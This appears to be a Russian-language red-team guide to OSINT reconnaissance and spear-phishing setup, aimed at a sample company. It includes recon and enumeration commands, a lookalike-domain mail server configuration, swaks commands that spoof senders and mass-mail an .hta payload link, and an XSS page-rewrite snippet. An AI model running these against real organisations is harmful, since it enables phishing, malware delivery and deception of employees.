Хитрости Красной команды
Сосредоточьтесь на сборе информации о целевой компании и её сотрудниках. Ресурсы, которые могут быть полезны для этого (подробное объяснение приведено в разделе "ИНСТРУМЕНТЫ И МЕТОДЫ" ниже):
Существует отличный репозиторий, содержащий перечень инструментов и ресурсов для сбора информации из открытых источников (OSINT), доступный по следующей ссылке. В нем вы найдете различные инструменты для разных целей.
Одним из самых удобных инструментов может стать SpiderFoot. Это автоматизированный OSINT-инструмент, интегрирующий различные источники данных и использующий множество методов анализа, что позволяет упростить навигацию по полученным данным. Вы можете быстро начать использовать его, скопировав репозиторий и запустив его с помощью Python3, как показано ниже:
git clone https://github.com/smicallef/spiderfoot.git
Эта статья поможет вам получить начальный доступ к целевой системе во время проведения Red Team проекта. Она разделена на две части для удобства восприятия. Первая часть описывает использование OSINT для доставки вредоносного ПО, в основном для целевого фишинга. Во второй части рассматривается создание вредоносного ПО и применение методов обхода обнаружения. Мы надеемся, что эта статья будет для вас информативной и интересной!
Существует несколько способов доставки вредоносного ПО жертве. Успех в значительной степени зависит от креативности злоумышленника. Позже в статье мы подробнее остановимся на фишинге, однако ниже представлены некоторые другие основные методы доставки вредоносного ПО:
- Фишинг: злоумышленник отправляет обманные сообщения жертвам, побуждая их перейти по вредоносным ссылкам или открыть зараженные вложения.
- Оставленные USB-накопители: техника, при которой злоумышленники намеренно оставляют зараженные USB-накопители в местах общего пользования или рядом с потенциальными жертвами. Когда жертва подключает накопитель, активируется вредоносное ПО, предоставляя злоумышленнику начальный доступ к системе.
- Эксплуатация уязвимостей: злоумышленник использует уязвимости в программном обеспечении или сетевых устройствах, которыми пользуется жертва, чтобы заразить систему вредоносным ПО.
- Социальная инженерия: злоумышленник манипулирует жертвой для получения конфиденциальной информации или физического доступа к закрытым зонам в здании компании. Достигается это разными способами, например, через телефонные звонки (Voice phishing) и текстовые сообщения (SMS-фишинг).
- Атака на водопое: злоумышленник определяет сайты, которые сотрудники целевой организации посещают часто, и заражает их вредоносным ПО.
- Атаки на цепочку поставок: злоумышленник может нацелиться на поставщиков или партнеров организации и скомпрометировать их системы или программное обеспечение.
Более подробное рассмотрение фишинга
Искусство создания иллюзии надежности.
Эффективная фишинговая атака всегда начинается со сбора информации о цели. Каждая организация уникальна. Более того, каждый сотрудник внутри организации отличается от других. Именно поэтому успех фишинга во многом зависит от этапа разведки.
Цель разведки — собрать как можно больше информации о цели. Это включает в себя технические данные, инфраструктуру компании, а также сведения о самой компании и её сотрудниках. Существует два подхода к сбору информации:
- Пассивный — бесшумный подход без прямого взаимодействия с целевой компанией.
- Активный — более заметный подход, предполагающий прямое взаимодействие с целевой компанией.
Собранная информация позволит перейти от общей фишинговой атаки к целевому фишингу (spear phishing).
Сосредоточьтесь на сборе информации о целевой компании и её сотрудниках. Ресурсы, которые могут быть полезны для этого (подробное объяснение приведено в разделе "ИНСТРУМЕНТЫ И МЕТОДЫ" ниже):
1. Информация о компании, которая может быть полезной:
- Услуги — чем занимается компания?
- Местоположение — где расположена компания?
- Размер — какого размера компания?
- Структура — какова структура компании и как взаимодействуют различные отделы?
- Известность — насколько хорошо известна компания в мире?
- Целевая аудитория — кому компания предоставляет свои услуги?
- Маркетинг — как компания рекламирует свои услуги?
- Активы — все ресурсы компании (офисы, веб-сайты, сетевая инфраструктура и т. д.).
- Безопасность — какие меры безопасности предусмотрены для защиты активов компании?
- Партнёры — с кем сотрудничает компания?
- Вакансии — открыты ли вакансии в компании?
2. Полезная информация о сотруднике:
- Должность — какие роли и обязанности выполняет сотрудник?
- Зависимости — какие функциональные или рабочие зависимости существуют у сотрудника?
- Контактные данные — номер телефона, адрес электронной почты, место проживания, псевдонимы и т.д.
- Операционная система — какую операционную систему использует сотрудник для работы?
- Активы — есть ли у сотрудника веб-сайт, блог, аккаунты в социальных сетях или какие-либо специфические приложения?
- Интересы — какие у сотрудника личные увлечения, хобби или области интересов вне рабочих обязанностей?
- Связи — с кем связан сотрудник?
Инструменты и методы для OSINT
Существует отличный репозиторий, содержащий перечень инструментов и ресурсов для сбора информации из открытых источников (OSINT), доступный по следующей ссылке. В нем вы найдете различные инструменты для разных целей.
Одним из самых удобных инструментов может стать SpiderFoot. Это автоматизированный OSINT-инструмент, интегрирующий различные источники данных и использующий множество методов анализа, что позволяет упростить навигацию по полученным данным. Вы можете быстро начать использовать его, скопировав репозиторий и запустив его с помощью Python3, как показано ниже:
git clone https://github.com/smicallef/spiderfoot.git
cd spiderfoot
pip3 install -r requirements.txt
python3 ./sf.py -l 127.0.0.1:5001
Затем вы можете получить доступ к панели управления, используя веб-браузер, по следующему адресу: http://127.0.0.1:5001/, и начать сбор информации, выбрав цель, тип сканирования и нажав кнопку «Run Scan Now».
Через некоторое время результат сканирования будет доступен во вкладке «scans».
Здесь представлено множество информации для анализа, такой как адреса электронной почты, имена пользователей, номера телефонов, домены и многое другое:
Хорошо начать с вкладки «корреляции». На изображении ниже показана одна из потенциальных проблем, связанная с AWS-бакетом (подробнее о том, как его найти и использовать, в разделе CLOUDS ниже).
Однако, как и с любым автоматическим инструментом, лучшие результаты достигаются при ручной работе. Вот некоторые техники, которые вы можете рассмотреть:
- Поисковые системы: Выполните поиск имени сотрудника с помощью популярных поисковых систем, таких как Google, Bing или DuckDuckGo. Ищите любую общедоступную информацию, например, профили в социальных сетях, публикации в интернете или упоминания в новостях.
- Социальные сети: Изучите платформы социальных сетей, такие как LinkedIn, Facebook, Twitter, Instagram, а также профессиональные форумы. Проверьте профили сотрудников на предмет публично доступной информации о профессиональном опыте, связях или интересах.
- Сайт компании: Посетите официальный сайт организации и выполните поиск по имени сотрудника в разделах «О нас», «Команда» или «Сотрудники». Найдите информацию об их должности, обязанностях или другую соответствующую информацию.
- Профессиональные сети: Проверьте отраслевые профессиональные сети или онлайн-сообщества, где сотрудник может быть активен. Это могут быть платформы вроде GitHub (для разработчиков), Behance (для дизайнеров), Stack Overflow (для программистов), а также группы в Discord и Reddit.
- Публичные записи: Ищите в публичных записях или правительственных базах данных информацию, связанную с сотрудником, такую как владение недвижимостью, лицензии, профессиональные сертификаты или судебные записи.
- Местные СМИ: Выполните поиск на новостных сайтах, в газетах или региональных изданиях на предмет статей или интервью с участием сотрудника или компании, в которой он работает.
- Веб-архивы: Воспользуйтесь архивными веб-сервисами, такими как Wayback Machine (archive.org), чтобы просмотреть более старые версии сайтов. Это может помочь обнаружить историческую информацию, недоступную на текущей версии сайта.
Когда речь идет о поисковых системах, полезно знать следующие операторы поиска (известные также как «dorks»):
- inurl: поиск URL-адресов, содержащих заданное ключевое слово.
- allintext: поиск текста на веб-странице.
- filetype: поиск определенных типов файлов.
- intitle: поиск заданных ключевых слов в заголовке страницы.
- site: включает результаты только для указанных доменов.
- cache: в сочетании с параметром site отображает кэшированную или более старую версию веб-страницы.
- (|): логический оператор, выводит результаты, содержащие одно из двух заданных поисковых терминов.
- (*): оператор подстановки, ищет страницы, содержащие любой контекст, связанный с вашим поисковым термином.
- (–): исключает нежелательные результаты из поиска.
Примеры полезных dork-запросов для OSINT:
site:docs.google.com intitle:(cv|resume|curriculum vitae|job application)
inurl:linkedin.com "view my resume" TARGET_COMPANY_NAME
intext: "@afine.com" inurl:github.com
(site:drive.google.com OR site:docs.google.com OR site:cloud.google.com OR site:storage.googleapis.com OR site:docs.microsoft.com OR site:amazonaws.com) AND filetype:pdf "report"
site:pastebin.com [email protected]
Вы можете найти больше dork-запросов в базе данных Exploit Database. Также стоит прочитать отличную статью в блоге Security Trails.
Не ограничивайтесь только поисковыми системами Google:
- https://www.bing.com/
- https://yahoo.com/
- https://duckduckgo.com/
- https://ask.com/
- https://www.baidu.com/
- https://www.ecosia.org/
- https://www.aol.com/
- https://archive.org/
- https://yandex.ru/
Помимо техники Dorking, существует множество инструментов и сервисов для сбора субдоменов целевой компании без «контакта» с ней. Для этой задачи я рекомендую использовать amass и subfinder, а также резолвер из репозитория BonJarber на GitHub (обновляется ежедневно). Вы можете использовать следующий фрагмент кода, чтобы быстро собрать субдомены, принадлежащие целевой компании, которые могут содержать дополнительную полезную информацию для фишинга:
DOMAIN=afine.com
wget https://raw.githubusercontent.com/BonJarber/fresh-resolvers/main/resolvers.txt -O resolvers.txt > /dev/null 2>&1 || echo -e "8.8.8.8\n8.8.4.4" >> resolvers.txt
subfinder -silent -recursive -d "$DOMAIN" -o subfinder.txt
amass enum --passive -d "$DOMAIN" -o amass.txt -rf resolvers.txt
Для оптимального использования инструмента рекомендуется настроить API-ключи Subfinder в файле (~/.config/subfinder/config.yaml):
- https://www.virustotal.com/
- https://api.passivetotal.org/
- https://securitytrails.com/
- https://censys.io/
- https://app.binaryedge.io/
- https://account.shodan.io/
- https://urlscan.io/
- https://www.zoomeye.org/
Еще один отличный способ сбора информации о целевом домене — это анализ обратных ссылок (ссылок с внешних сайтов на целевой). Для этого можно использовать следующие веб-сайты:
- https://ahrefs.com/backlink-checker
- https://www.semrush.com/analytics/backlinks/
- https://app.neilpatel.com/en/seo_analyzer/backlinks
Не только субдомены можно собирать, но и другую информацию, такую как имена сотрудников, полные URL пути или партнеров компании.
Разведка по адресам электронной почты (сотрудники)
Для перечисления адресов электронной почты, принадлежащих компании, существует отличный инструмент, называемый theHarvester:
theHarvester -d afine.com -b all
Если вы найдете какие-либо прозвища, связанные с целевым сотрудником, вы можете использовать mailcat для перечисления любых адресов электронной почты, созданных с использованием этого прозвища:
python mailcat.py --tor kmazurek
Если вы найдете какие-либо адреса электронной почты, принадлежащие цели, всегда проверяйте связанную с этим информацию. Один из способов автоматизировать этот процесс — использовать инструмент mosint.
Для оптимального использования инструмента рекомендуется настроить следующие API-ключи:
- https://hunter.io/api-keys
- https://emailrep.io/key
- https://intelx.io/account?tab=developer
- https://psbdmp.ws/me
- https://rapidapi.com/rohan-patra/api/breachdirectory
Для настройки API-ключей используйте следующие команды:
mosint set hunter API_KEY
mosint set emailrep API_KEY
mosint set intelx API_KEY
mosint set psbdmp API_KEY
mosint set breachdirectory API_KEY
Чтобы вывести информацию про определенный адрес электронной почты, используйте следующую команду:
mosint [email protected]
В результате вы получите все связанные адреса электронной почты, аккаунты в социальных сетях, данные из pastebin и информацию о том, находится ли адрес в базе утечек.
Следующий шаг — проверка репутации электронной почты.
Вы можете добиться того же с помощью CLI:
curl -s emailrep.io/[email protected]
Обратите внимание на то, что параметр "spoofable" установлен в True. Подробнее об этом будет рассказано в разделе SPF и DMARC ниже. Вы всегда должны проверять репутацию электронной почты перед проведением атаки с подделкой отправителя, поскольку её легко заблокировать или поместить в СПАМ, если репутация письма низкая.
Метаданные в файлах (Сотрудники)
Компаниям часто приходится обмениваться различными типами файлов, такими как отчёты, фотографии, вакансии и новости. Эти файлы содержат метаданные, такие как имена пользователей, даты, версии программного обеспечения и географические координаты, которые можно извлечь с помощью инструмента exiftool.
Кроме того, вы можете использовать технику обратного поиска изображений, чтобы найти другие веб-сайты, использующие определённые изображения, используя следующие два ресурса:
Далее в статье будет представлена дополнительная информация о том, как идентифицировать облачное хранилище с использованием файлов, размещённых целевой компанией.
Используйте социальные сети, особенно LinkedIn. С помощью них можно узнать много информации о размере компании, её сотрудниках и подробную информацию о конкретных сотрудниках.
Пример информации, которую можно собрать только с помощью LinkedIn:
Необходимо проверять кодовую базу для каждого найденного адреса электронной почты, имени пользователя и домена. Если повезёт, можно найти конфигурационные файлы, имена пользователей и пароли, которые могут быть использованы напрямую для атак на основе перебора паролей или косвенно, как предлог для обращения в IT-отдел:
Кроме того, проверьте, была ли целевая организация взломана:
Полезный инструмент для автоматизации этой задачи —h8mail. Как и всегда, лучше добиться лучших результатов с использованием API KEYS. Для генерации шаблона конфигурационного файла используйте команду:
h8mail -g
Затем можно выполнить запрос для списка целей, указав конфигурационный файл для API-ключей и сохраняя результаты в файл pwned_targets.csv:
h8mail -t targets.txt -c config.ini -o pwned_targets.csv
Пример сканирования с использованием одной цели:
Вы можете собрать полезную информацию о инфраструктуре компании, используя инструменты такие как whois, dig или host. Однако я хотел бы поделиться с вами другими инструментами, которые показывают информацию более удобно для восприятия.
Первым инструментом является wtfis. Для начала работы с этим инструментом вам понадобятся следующие API-ключи, которые можно получить бесплатно (кроме Shodan):
Затем создайте файл ~/.env.wtfis со следующим содержимым (для работы инструмента требуется только ключ API для Virustotal):
# Пример файла ~/.env.wtfis # Не забудьте использовать команду chmod 400! VT_API_KEY=KEY_HERE IP2WHOIS_API_KEY=KEY_HERE SHODAN_API_KEY=KEY_HERE GREYNOISE_API_KEY=KEY_HERE
Еще одним инструментом, который стоит проверить, является DNSDumpster, который позволяет в один клик картографировать структуру домена компании:
Вы увидите различные данные о владельцах IP-блоков, геолокации хостов и DNS-серверах в удобном для восприятия формате.
Что касается DNS-серверов, крайне важно убедиться, что записи SPF и DMARC настроены правильно, чтобы избежать фишинговых атак. SPF — это компонент DNS-записи, который определяет, может ли определённый IP-адрес отправлять электронные письма от имени конкретного домена. Запись SPF может быть настроена следующим образом:
- hardfail — письма, которые подозреваются в подделке или спаме, отклоняются.
- softfail — письма принимаются, но с предупреждением о подозрительности/спаме.
- neutral — все письма принимаются.
DMARC использует SPF для проверки подлинности письма, если SPF не может подтвердить, что письмо является подлинным. Он может быть настроен следующим образом:
- reject — письмо не доставляется.
- quarantine — письмо помещается в спам/нежелательную почту.
- none — никаких действий не предпринимается.
Неправильная настройка этих полей может позволить отправлять письма от имени компании с произвольным содержимым. Удобным инструментом для проверки таких ошибок является mailspoof:
mailspoof -d TARGET_DOMAIN
Пример неправильных конфигураций:
Другим инструментом для той же цели, но в онлайн-формате, является сайт caniphish:
Если компания использует облачного провайдера, то вредоносное ПО может быть доставлено с его инфраструктуры (при неправильной настройке контейнера). Ниже представлены облачные провайдеры и соответствующие им открытые облачные хранилища и URL-адреса, по которым можно распознать хранилище:
- Google Cloud Platform (GCP) – Google Storage Bucket:
https://<BUCKET_NAME>.storage.googleapis.com/
https://www.googleapis.com/storage/v1/b/<BUCKET_NAME>/iam - DigitalOcean – Spaces:
https://<BUCKET_NAME>.<REGION>.digitaloceanspaces.com - Microsoft Azure – Block Blob:
https://<BUCKET_NAME>.core.windows.net/<CONTAINER>/
https://<BUCKET_NAME>.blob.core.windows.net/<CONTAINER>/ - Amazon Web Services (AWS) – S3 Bucket:
https://<BUCKET_NAME>.s3.amazonaws.com
https://s3-<REGION>.amazonaws.com/<COMPANY_NAME>
Обратите внимание, что каждый может создать любое имя для желаемого хранилища, так что можно создать хранилище с именем целевой компании. Это поведение полезно при атаке, так как можно использовать облачную инфраструктуру для размещения вредоносного ПО без необходимости нарушения доступа к контейнеру. Сотрудник, увидев ссылку от Amazon или Google, менее подозрителен. Однако если цель — IT-отдел, то misconfiguration (неправильная настройка) облачного хранилища будет лучшим вариантом.
Сначала следует проверить, использует ли компания услуги облачного провайдера. Вы можете использовать ip2provider, чтобы проверить, какой облачный провайдер хостит определенный IP-адрес.
cat ip_addresses.txt | ./ip2provider.py
Также можно определить облачное хранилище, проверив сайт компании, чтобы увидеть, предлагает ли облачный провайдер какие-либо скачиваемые материалы. Более того, если имя файла уникально (например, UUID), можно найти его с помощью поисковых систем для обнаружения хранилища.
inurl:s3.amazonaws.com "UNIQUE_FILENAME"
Наконец, существует сайт GrayHatWarfare, онлайн-инструмент, который ищет открытые облачные хранилища и архивирует их.
Когда у вас есть список бакетов, вы можете проверить, являются ли они доступными для записи, чтобы разместить там вредоносное ПО, или если они доступны для чтения, вы сможете собрать больше информации о цели. Вот несколько автоматических инструментов для проверки облачных контейнеров, которые можно использовать для дальнейшего расследования:
- AWS: S3 Scanner от Purple Leaf
- GCP: GCPBucketBrute от Rhino Security Labs
- Azure: BlobHunter от CyberArk
- DigitalOcean: Spaces Finder от Appsecco
Пример вывода сканера Purple Leaf:
Пример вывода GCPBucketBrute:
Краткое описание пассивной разведки (OSINT)
Указанные выше пункты НЕ ЯВЛЯЮТСЯ ПОШАГОВОЙ ИНСТРУКЦИЕЙ. Например, если в процессе OSINT вы нашли новый поддомен в контенте PDF-файла компании, следует провести разведку и для этого домена. Если вы нашли другой адрес электронной почты, повторите шаг для поиска адресов электронной почты. Методологию всегда нужно адаптировать в зависимости от полученной информации.
Последний совет для OSINT — это расширение для сохранения всей страницы (включая изображения, ссылки и т. д.) под названием SingleFile. Для использования расширения нужно нажать на иконку при просмотре целевой веб-страницы, чтобы сохранить её на локальном диске:
Вы можете хранить все HTML файлы в одной директории, а затем парсить их следующим образом, чтобы быстро фильтровать конкретную информацию:
cat *.html | html2text | grep "afine.com\|Karol Mazurek"
Активная разведка
Инфраструктура
Я объединил инструменты для активной разведки в своем проекте Crimson. Для проведения разведки с использованием упомянутого инструмента, используйте следующие команды:
docker pull karmaz95/crimson:v3
docker run --name crimson -it karmaz95/crimson:v3
Затем внутри контейнера Docker выполните команду: c_1 -x -d -j "afine.com"
После нескольких часов вы должны получить достаточно данных для обработки, и, если повезет, обнаружить несколько уязвимостей, которые будут полезны для фишинга (об этом будет рассказано позже). Ниже приведены все файлы, сгенерированные инструментом и доступные в контейнере Docker по адресу /root/bounty/$DOMAIN:
- live.txt — ЖИВЫЕ СУБДОМЕНЫ
- status_live.txt — КОД СТАТУСА HTTP СЕРВИСОВ
- hosthunter.txt — ВИРТУАЛЬНЫЕ ХОСТНЭЙМЫ
- ip.txt — IP-АДРЕСА И СОПУТСТВУЮЩИЕ ДОМЕНЫ
- urls.txt — ВСЕ ПРОСКАНИРОВАННЫЕ URL
- status_live.txt — КОДЫ СТАТУСА HTTPS/HTTPS СУБДОМЕНОВ
- screenshots/ — СТАТУС КОДЫ + СКРИНШОТЫ
- subjack.txt — [УЯЗВИМОСТЬ] ЗАХВАТ ДОМЕНА
- cors_scan.txt — [УЯЗВИМОСТЬ] НЕКОРРЕКТНО НАСТРОЕН CORS
- nuclei.txt — [УЯЗВИМОСТЬ] ШАБЛОННЫЙ СКАН
- log4j.txt — [УЯЗВИМОСТЬ] СКАН УЯЗВИМОСТИ LOG4J
- dnsrecon.txt — [УЯЗВИМОСТЬ] ПЕРЕДАЧА ЗОНЫ
Если хотите узнать больше об этом инструменте, ознакомьтесь с этой ссылкой.
Активная разведка по сотрудникам является более сложной. Вы не можете просто запустить инструмент и проверить результаты. После OSINT вам нужно собрать множество адресов электронной почты, имен и номеров телефонов.
Во время активной разведки вы можете дважды проверить точность этих данных с помощью:
Для этого следует использовать приемы социальной инженерии, чтобы манипулировать сотрудниками и получить эту информацию.
Реальный пример: звонок от "банка", который хочет "подтвердить" личные данные для проверки получателя звонка. Пусть тот, кто никогда не получал таких звонков, бросит в меня камень. 🙂
Попробуйте атаки на перебор страниц с панелями входа организации во время разведки. Подтверждайте адреса электронной почты и ищите новые, проверяя ответы на запросы для существующих и несуществующих учетных записей.
Другим методом для проверки собранных адресов электронной почты или поиска новых является брутфор SMTP-серверов целевой компании с использованием smtp-user-enum:
smtp-user-enum -M EXPN_or_VRFY_or_RCPT -U USERNAME_LIST.txt mail.example.tld 25
Три основные уязвимости в веб-приложениях, которые могут быть использованы для повышения убедительности вашей атаки:
Так как цель этой статьи не заключается в описании методов поиска уязвимостей в веб-приложениях, я ограничусь только инструментами и способами автоматизации этого процесса.
Для проверки уязвимости захвата субдомена можно использовать инструмент subjack:
subjack -w subdomains.txt -t 10 -timeout 30 -o results.txt -ssl
Поиск reflected XSS и Open Redirect
Его можно автоматизировать с помощью Dalfox:
cat urls.txt | dalfox pipe --mass --silence --no-color -o dalfox.txt
- Захват субдомена позволяет атакующему заменить контент на домене компании своим собственным, что может быть использовано для фишинга или распространения вредоносного контента.
- XSS может быть использован для внедрения вредоносного JavaScript кода на страницы компании, что позволит атакующему выполнять произвольные действия от имени пользователя, например, собирать личные данные:
body = document.getElementsByTagName("body")[0]
body.innerHTML = "<h1>YOUR_CUSTOM_HTML_CONTENT</h1>"
- Open Redirect может быть использован для перенаправления пользователей с легитимных сайтов на фальшивые страницы для фишинга.
Если в процессе разведки вы накопили большое количество данных (что бывает почти всегда) и хотите проверить их на наличие закодированных секретов, таких как ключи (например, AWS Access Key, Azure Share Key или SSH ключи), пароли и другие конфиденциальные данные, вы можете использовать инструмент DumpsterDiver:
python3 DumpsterDiver.py -p /path/to/files/directory
Если у вас есть много доменов в списке, проще будет сделать их скриншоты с помощью инструмента, например, gowitness, чтобы быстрее их просмотреть:
gowitness file -f urls.txt
gowitness report serve
Пример результаты работы для одного URL:
Обратите внимание на панели входа. В комбинации с XSS, они помогут воссоздать панель входа для фишинга учетных данных.
Теперь, собрав все данные, вы можете построить сценарии для таргетированного фишинга.
Построение сценариев фишинга
Выбор канала коммуникации
В зависимости от цели и результатов разведки, у вас теперь есть несколько каналов доставки вредоносного ПО. Ниже приведены некоторые из них, которые можно использовать для отправки загрузчика:
- Чат-приложения (Messenger, WhatsApp, Signal, Telegram, Slack)
- Социальные платформы (Twitter, LinkedIn, Facebook, Instagram, Reddit)
- Функциональные возможности сайта целевой компании (чаты, контактные формы, формы для загрузки файлов)
- Почтовый сервис
Необходимо сначала определить ограничения выбранных каналов.
В зависимости от выбранного канала, ознакомьтесь с контрмерами, которые были внедрены для защиты от атаки. Например, если вы пытаетесь отправить загрузчик через LinkedIn, сначала создайте два аккаунта и проверьте, какие типы файлов можно отправить с помощью встроенного чата.
То же самое касается чат-приложений, таких как WhatsApp.
Когда вы используете функциональные возможности сайта компании, такие как контактные формы, исследуйте аномалии в статусе ответа и теле ответа с помощью Burp Proxy, отправляя как не вредоносный, так и вредоносный контент.
Для целей этой статьи я выбрал почтовую службу в качестве канала коммуникации.
Предположим, что в процессе разведки мы идентифицировали три департамента компании AFINE: IT, HQ и SALES. Компания использует домен afine.com для почтовой службы, и у них неправильно настроена политика DMARC, установлена на NONE. Мы также выяснили, что компания Afine использует ноутбуки Thinkpad X1 с последней версией Windows 11.
Для нашего сценария с тремя департаментами рекомендуется иметь как минимум два VPS и домена с SMTP и HTTP сервисами. Поскольку наша атака может быть заблокирована, лучше распределить риски. Название домена также может изменяться в зависимости от фишингового сценария — об этом будет сказано позже.
Вы можете выбрать из множества провайдеров: AWS, Microsoft Azure, Digital Ocean, Vultr или Linode.
Вы можете воспользоваться сайтом сравнения VPS -поставщиков, чтобы ознакомиться с различиями между различными VPS и выбрать подходящий.
Лучше всего выбрать VPS в регионе, где расположена инфраструктура целевой компании. Кроме того, обратите внимание на открытые входящие и исходящие порты. Многие провайдеры блокируют возможность сразу запустить SMTP сервер. Одним из таких провайдеров является Digital Ocean (они разрешают только после 60 дней использования, при условии обращения в поддержку).
Существует множество техник выбора доменного имени для фишинговой атаки. Например, если вы нацелены на штаб-квартиру компании Afine, вы могли бы создать «новый сайт для управления» и использовать похожее доменное имя, такое как “management-afine.com”.
Другой техникой является typosquatting — замена буквы в доменном имени на похожую, например: “afime.com”. Отличным инструментом для этого является urlcrazy:
dnstwist --unregistered afine.com
Если вы нацелены на отдел продаж компании Afine, можно создать фальшивую компанию, работающую в той же отрасли или имеющую потребность в покупке или продаже их услуг. В этом случае доменное имя должно быть другим и вызывать больше доверия у жертвы, например, добавив аффикс «cyber» или «security» в доменное имя.
Наконец, можно приобрести доверенный домен, который истек, но перед этим следует проверить SEO доменного имени, чтобы понять, как оно категоризируется, используя одну из следующих услуг:
https://urlfiltering.paloaltonetworks.com/query/
sudo DEBIAN_PRIORITY=low apt install postfix
2) Настроить правила брандмауэра: Разрешить доступ для Postfix:
sudo ufw allow Postfix
service postfix restart
4) Установить почтовый клиент (swaks):
sudo apt install swaks
5) Установить имя хоста VPS на домен, который вы приобрели для атаки:
sudo hostnamectl set-hostname YOUR_DOMAIN
6) Установить имя хоста в /etc/hosts (например, management-afine.com): Откройте файл для редактирования:
sudo vi /etc/hosts
127.0.1.1 management-afine.com
7) Защитить Postfix с помощью Let's Encrypt: Установить certbot:
sudo apt install certbot
sudo certbot certonly --standalone -d YOUR_DOMAIN_NAME
Интерактивный скрипт конфигурации задает пользователю вопросы для обеспечения правильной настройки сертификатов:
- Выберите "Yes" для использования файла vhost по умолчанию и укажите настройки вручную.
- Введите доменное имя почтового сервера, например, mail.example.com.
- Необходимо ввести контактный адрес электронной почты при первой установке на любом конкретном хосте.
- Ознакомьтесь с условиями обслуживания Let’s Encrypt и выберите "Agree" для продолжения.
- Затем выберите, хотите ли вы использовать HTTP, HTTPS или требовать обязательное использование шифрования, выделив либо опцию "Easy", либо опцию "Secure", и выберите "OK".
- После завершения процесса сертификаты будут сохранены в директории /etc/letsencrypt/live/.
Вы можете добавить свои новые сертификаты в конфигурацию Postfix, используя следующие две команды. Замените <your.domain> на доменное имя вашего почтового сервера.
sudo postconf -e 'smtpd_tls_cert_file = /etc/letsencrypt/live/<your.domain>/fullchain.pem'
sudo postconf -e 'smtpd_tls_key_file = /etc/letsencrypt/live/<your.domain>/privkey.pem'
Пример рабочей конфигурации Postfix (измените домен в строке 41):
# See /usr/share/postfix/main.cf.dist for a commented, more complete version # Debian specific: Specifying a file name will cause the first # line of that file to be used as the name. The Debian default # is /etc/mailname. #myorigin = /etc/mailname smtpd_banner = $myhostname ESMTP $mail_name (Ubuntu) biff = no # appending .domain is the MUA's job. append_dot_mydomain = no # Uncomment the next line to generate "delayed mail" warnings #delay_warning_time = 4h readme_directory = no # See http://www.postfix.org/COMPATIBILITY_README.html -- default to 2 on # fresh installs. compatibility_level = 2 # TLS parameters smtpd_tls_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem smtpd_tls_key_file=/etc/ssl/private/ssl-cert-snakeoil.key smtpd_tls_security_level=may smtp_tls_CApath=/etc/ssl/certs smtp_tls_security_level=may smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache smtpd_relay_restrictions = permit_mynetworks permit_sasl_authenticated defer_unauth_destination myhostname = YOUR_DOMAIN alias_maps = hash:/etc/aliases alias_database = hash:/etc/aliases myorigin = /etc/mailname mydestination = $myhostname, YOUR_DOMAIN, www.YOUR_DOMAIN, localhost.YOUR_DOMAIN, localhost relayhost = mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128 mailbox_size_limit = 0 recipient_delimiter = + inet_interfaces = all inet_protocols = all local_recipient_maps =
Не переживайте, если вы приобрели VPS, на котором невозможно отправлять электронные письма. Вы можете использовать сторонние сервисы, такие как SendGrid или Mailjet.
Укажите ваш домен на SendGrid.
1) Откройте файл конфигурации Postfix:
sudo vi /etc/postfix/main.cf
2) Добавьте или измените следующие строки:
smtp_sasl_auth_enable = yes smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd smtp_sasl_security_options = noanonymous smtp_sasl_tls_security_options = noanonymous smtp_tls_security_level = encrypt header_size_limit = 4096000 relayhost = [smtp.sendgrid.net]:587
sudo service postfix restart
sudo vi /etc/postfix/sasl_passwd
[smtp.sendgrid.net]:587 apikey:YOUR_API_KEY
5) Выполните следующие команды для завершения конфигурации:
sudo chmod 600 /etc/postfix/sasl_passwd
sudo postmap /etc/postfix/sasl_passwd
sudo systemctl restart postfix
Пример полного конфигурационного файла (/etc/postfix/main.cf), не забудьте изменить домен в строках 37 и 41.
# See /usr/share/postfix/main.cf.dist for a commented, more complete version # Debian specific: Specifying a file name will cause the first # line of that file to be used as the name. The Debian default # is /etc/mailname. #myorigin = /etc/mailname smtpd_banner = $myhostname ESMTP $mail_name (Ubuntu) biff = no # appending .domain is the MUA's job. append_dot_mydomain = no # Uncomment the next line to generate "delayed mail" warnings #delay_warning_time = 4h readme_directory = no # See http://www.postfix.org/COMPATIBILITY_README.html -- default to 3.6 on # fresh installs. compatibility_level = 2 # TLS parameters smtpd_tls_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem smtpd_tls_key_file=/etc/ssl/private/ssl-cert-snakeoil.key smtpd_tls_security_level=may smtp_tls_CApath=/etc/ssl/certs #smtp_tls_security_level=may smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache smtpd_relay_restrictions = permit_mynetworks permit_sasl_authenticated defer_unauth_destination myhostname = YOUR_DOMAIN_NAME alias_maps = hash:/etc/aliases alias_database = hash:/etc/aliases myorigin = /etc/mailname mydestination = $myhostname, YOUR_DOMAIN_NAME, localhost smtp_sasl_auth_enable = yes smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd smtp_sasl_security_options = noanonymous smtp_sasl_tls_security_options = noanonymous smtp_tls_security_level = encrypt header_size_limit = 4096000 relayhost = [smtp.sendgrid.net]:587 mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128 mailbox_size_limit = 0 recipient_delimiter = + inet_interfaces = all inet_protocols = all home_mailbox =
И последнее, о чем следует упомянуть:
Доставка фишинговых сообщений с использованием Swaks:
swaks -t [email protected] -f [email protected] -tls -s smtp.vps.com --header "Subject: test" --body "test"
Отправка HTML с помощью Swaks:
swaks --to [email protected] --from testk@TARGET --server TARGET --add-header "Content-Type: text/html" --body - < test.html >/dev/null
swaks --body 'Click me http://management-afine.com/file.hta' --add-header "Content-Type: text/html" --header "Subject: Important" -t [email protected] -f [email protected] --servermanagement-afine.com
Массовая рассылка по списку email-адресов:
for E in `cat /path/to/email/email_list.txt` do swaks --to $E --server test-server.example.com --quit-after RCPT --hide-all [ $? -ne 0 ] && echo $E done
swaks -f 'TARGET@TARGET_DOMAIN' --to 'XYZ@DOMAIN'
Использование HTML-контента в качестве тела письма:
Для добавления HTML-контента используйте опцию --add-header "Content-Type: text/html".
--header 'Subject: THIS_IS_IMPORTANT_MESSAGE_OPEN_PLEASE_KEK'
Отправка сообщения двум целям одновременно:
-t "TARGET_1@DOMAIN,TARGET_2@DOMAIN"
Подмена получателей DW (скрытая копия):
-t 'TARGET_1@DOMAIN' --header "To: TARGET_1@DOMAIN, TARGET_2@DOMAIN, TARGET_3@DOMAIN"
